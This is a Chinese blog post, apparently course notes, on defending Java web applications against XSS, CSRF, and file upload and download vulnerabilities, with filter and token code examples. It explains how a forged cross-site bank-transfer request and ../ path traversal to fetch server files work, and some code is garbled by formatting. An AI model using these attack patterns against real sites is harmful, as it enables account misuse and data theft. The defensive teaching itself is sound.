对所有要动态输出到页面的内容,通通进行相关的编码和转义。当然转义是按照其输出的上下文环境来 决定如何转义的。

  1. 作为body文本输出,作为html标签的属性输出:

       <span>${username},  
       <c:out value="$ 
       <input type="text" value="${username}" /> 
    
    2. javascript事件 
    
       > 除了上面的那些转义之外,还要附加上下面的转义: 
       >
       > \ 转成 \\\ 
       >
       > / 转成 \/ 
       >
       > ; 转成 ;(全角;) 
    
    3. URL属性 
    
    如果 \<script>,\<style>, \<img> 等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执 行恶意连接。
    
    确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符。
    
    4. HttpOnly 与 XSS防御 
    
    > XSS 一般利用js脚步读取用户浏览器中的Cookie,而如果在服务器端对 Cookie 设置了HttpOnly属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie。 
    > 一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做 HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。如果你正在使用的是兼容 Java EE 6.0 的容器,如 Tomcat 7,那么Cookie类已经有了setHttpOnly的方法来使用HttpOnlyCookie属性了。 
    
    ```java
    cookie.setHttpOnly(true );

image-20230219151957034

image-20230219152000892

9. CSRF

image-20230219152106335

CSRF原理

案例:FileUploadAndDownLoad lezijie-note

CSRF攻击原理比较简单,如图1所示。其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意 网站,User C为Web A网站的合法用户。

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C 的权限处理该请求,导致来自网站B的恶意代码被执行。

例如:你再使用网银给A转账,这个时候QQ发过来一个链接,你点了这个链接,访问了网站B,B给浏览 器发送访问A的请求,由于浏览器是公用的,并且浏览器保存了你的用户信息,这个链接使用了你的身 份信息给银行发送了一条请求,给B进行了转账。银行服务器,比较了用户信息,发现是本人操作。进 行转账。

image-20230219152236536

将长链接转换成短链接,短url生成

image-20230219152306639

CSRF漏洞防御

1、验证HTTP Referer字段

2、在请求地址中添加token并验证

3、在HTTP头中自定义属性并验证

4、用户端的防御
CSRF漏洞防御主要可以从三个层面进行,即服务端的防御、用户端的防御和安全设备的防御。

服务端的防御

验证HTTP Referer字段

根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。

在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。

比如某银行的转账是通过用户访问http://bank.test/test?page=10&userID=101&money=10000页面完成,用户必须先登录bank.test,然后通过点http://bank.test/test?page=10&userID=101&money=10000击页面上的按钮来触发转账事件。

当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL(本例中,通常是以bank.test域名开头的地址)。

而如果攻击者要对银行网站实施CSRF攻击, 他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻 击者的网站。

因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank. test开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网 站的话,就有可能是CSRF攻击,则拒绝该请求。

在请求地址中添加token并验证

CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。

由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在 于Cookie之中。

鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token,并在 服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能 是CSRF攻击而拒绝该请求。

在HTTP头中自定义属性并验证

自定义属性的方法也是使用token并进行验证,和前一种方法不同的是,这里并不是把token以参数的形式置于HTTP请求之中,而是把它放到HTTP头中自定义的属性里。

通过XMLHttpRequest这个类,可以 一次性给所有该类请求加上csrftoken这个HTTP头属性,并把token值放入其中。

这样解决了前一种方法 在请求中加入token的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心token会通过Referer泄露到其他网站。

其他防御方法

  1. CSRF攻击是有条件的,当用户访问恶意链接时,认证的cookie仍然有效,所以当用户关闭页面时要及时清除认证cookie,对支持TAB模式(新标签打开网页)的浏览器尤为重要。

  2. 尽量少用或不要用request()类变量,获取参数指定request.form()还是request. querystring (),这样有利于阻止CSRF漏洞攻击,此方法只不能完全防御CSRF攻击,只是一定程度上增加了攻击的难度

java代码示例

下文将以 Java 为例,对上述三种方法分别用代码进行示例。

无论使用何种方法,在服务器端的拦截器必 不可少,它将负责检查到来的请求是否符合要求,然后视结果而决定是否继续请求或者丢弃。在 Java 中,拦截器是由 Filter 来实现的。我们可以编写一个 Filter,并在 web.xml 中对其进行配置,使其对于访问所有需要CSRF保护的资源的请求进行拦截。

在 filter 中对请求的 Referer 验证代码如下

清单

  1. 在 Filter 中验证 Referer
public class RefererFilter implements Filter { 
    private String excludedPage; 
    private String[] excludedPages; 
    /** 
     * Default constructor.  
     */ 
    public RefererFilter() { 
        // TODO Auto-generated constructor stub     } 
    /** 
     * @see Filter#destroy() 
     */ 
    public void destroy() { 
        // TODO Auto-generated method stub     } 
    /** 
     * @see Filter#doFilter(ServletRequest, ServletResponse, FilterChain) 
     */ 
    public void doFilter(ServletRequest request, ServletResponse response,  FilterChain chain) throws IOException, ServletException { 
        // 从 HTTP 头中取得 Referer 值 
        HttpServletRequest hrequest=(HttpServletRequest) request; 
        // 定义表示变量 并验证用户请求URL 是否包含不过滤路径 
        boolean flag = false; 
        for (String page:excludedPages) {   
            if (hrequest.getRequestURI().equals(page)){ 
                flag = true; 
            } 
        } 
        if(flag){ 
            chain.doFilter(request,response); 
            return;         
        } 
        String referer=hrequest.getHeader("Referer"); 
        // 判断 Referer 是否以 bank.example 开头 
        if((referer!=null) && 
(referer.trim().startsWith("http://localhost:8081"))){ 
            chain.doFilter(request, response); 
        }else{ 
            request.getRequestDispatcher("error.jsp").forward(request,response); 
        } 
    //  chain.doFilter(request, response);     } 

    /** 
     * @see Filter#init(FilterConfig) 
     */ 
    public void init(FilterConfig fConfig) throws ServletException { 
         excludedPage = fConfig.getInitParameter("ignores");//此处的ignores就是在 web.xml定义的名称一样。 
            if (excludedPage != null && excludedPage.length() > 0){ 
                excludedPages = excludedPage.split(","); 
            } 
    } 
} 

web.xml

<filter> 
    <filter-name>RefererFilter</filter-name> 
    <display-name>RefererFilter</display-name> 
    <description></description> 
    <filter-class>com.lezijie.note.filter.RefererFilter</filter-class>           <init-param> 
            <param-name>ignores</param-name> 
            <param-value>/note/login.jsp,/note/</param-value> 
        </init-param> 
  </filter> 
  <filter-mapping> 
    <filter-name>RefererFilter</filter-name> 
    <url-pattern>/*</url-pattern> 
  </filter-mapping> 

以上代码先取得Referer值,然后进行判断,当其非空并以bank.example 开头时,则继续请求,否则的话可能是CSRF攻击,转到error.jsp页面。

如果要进一步验证请求中的token值,代码如下

  1. 在 filter 中验证请求中的 token

    1. 首先判断 session 中有没有 csrftoken,如果没有,则认为是第一次访问,session 是新建立的,这时生成一个新的 token,放于 session 之中,并继续执行请求。如果 session 中已经有 csrftoken,则说明用 户已经与服务器之间建立了一个活跃的 session,这时要看这个请求中有没有同时附带这个 token,由于请求可能来自于常规的访问或是 XMLHttpRequest 异步访问,我们分别尝试从请求中获取 csrftoken 参数以及从 HTTP 头中获取 csrftoken 自定义属性并与 session 中的值进行比较,只要有一个地方带有 有效 token,就判定请求合法,可以继续执行,否则就转到错误页面。生成 token 有很多种方法,任何的随机算法都可以使用,Java 的 UUID 类也是一个不错的选择。
    2. 除了在服务器端利用 filter 来验证 token 的值以外,我们还需要在客户端给每个请求附加上这个token,这是利用 js 来给 html 中的链接和表单请求地址附加 csrftoken 代码,其中已定义 token 为全 局变量,其值可以从 session 中得到。
  2. 在客户端对于请求附加 token

function appendToken(){ 
updateForms(); 
updateTags(); 
} 
function updateForms() { 
// 得到页面中所有的 form 元素 
var forms = document.getElementsByTagName('form'); 
for(i=0; i<forms.length; i++) { 
    var url = forms[i].action; 
    // 如果这个 form 的 action 值为空,则不附加 csrftoken 
    if(url == null || url == "" ) continue; 
    // 动态生成 input 元素,加入到 form 之后 
    var e = document.createElement("input"); 
    e.name = "csrftoken"; 
    e.value = token; 
    e.type="hidden"; 
    forms[i].appendChild(e); 
} 
} 
function updateTags() { 
var all = document.getElementsByTagName('a'); 
var len = all.length; 
// 遍历所有 a 元素 
for(var i=0; i<len; i++) { 
    var e = all[i]; 
    updateTag(e, 'href', token); 
} 
} 
function updateTag(element, attr, token) { 
var location = element.getAttribute(attr); 
if(location != null && location != '' '' ) { 
    var fragmentIndex = location.indexOf('#'); 
    var fragment = null; 
    if(fragmentIndex != -1){ 
        //url 中含有只相当页的锚标记 
        fragment = location.substring(fragmentIndex); 
        location = location.substring(0,fragmentIndex); 
    } 
    var index = location.indexOf('?'); 
    if(index != -1) { 
        //url 中已含有其他参数 
        location = location + '&csrftoken=' + token; 
    } else { 
        //url 中没有其他参数 
        location = location + '?csrftoken=' + token;
    } 
    if(fragment != null){ 
        location += fragment; 
    } 
    element.setAttribute(attr, location); 
} 
} 

在客户端html中,主要是有两个地方需要加上token,一个是表单form,另一个就是链接a。

这段代 码首先遍历所有的 form,在 form 最后添加一隐藏字段,把 csrftoken 放入其中。

然后,代码遍历所有 的链接标记 a,在其 href 属性中加入 csrftoken 参数。

注意对于 a.href 来说,可能该属性已经有参数, 或者有锚标记。因此需要分情况讨论,以不同的格式把 csrftoken 加入其中。

10. 文件上传

为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门。

即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。

企业支持门户,给用户各企业员工有效地共享文件。

允许用户上传图片,视频,头像和许多其他类型的文件。

向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的。

上传文件本身没有错,问题与漏洞在于服务器怎么处理上传的文件。

文件上传代码

image-20230219153647865

文件上传漏洞必须满足的几个条件

  1. 文件上传功能能正常使用。
  2. 文件类型允许上传
  3. 上传路径可以确定
  4. 文件可以被访问、可以被执行或者被包含

修复建议

白名单限制:获取文件后缀,判断是否在白名单内

黑名单限制:获得文件后缀名,判断是否在黑名单内。重命名后缀

代码:

image-20230219154119573

img

文件下载

下载漏洞原理:

任意文件下载漏洞,正常的利用手段是下载服务器文件,如脚本代码,服务器配置或者是系统配置等等。但是有的时候我们可能根本不知道网站所处的环境,以及网站的路径,这时候我们只能利用./../来逐层猜测路径,让漏洞利用变得繁琐。

image-20230219154217046

image-20230219154221597

修复建议:

1、过滤文件名不允许出现./../

2、设置下载文件白名单


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录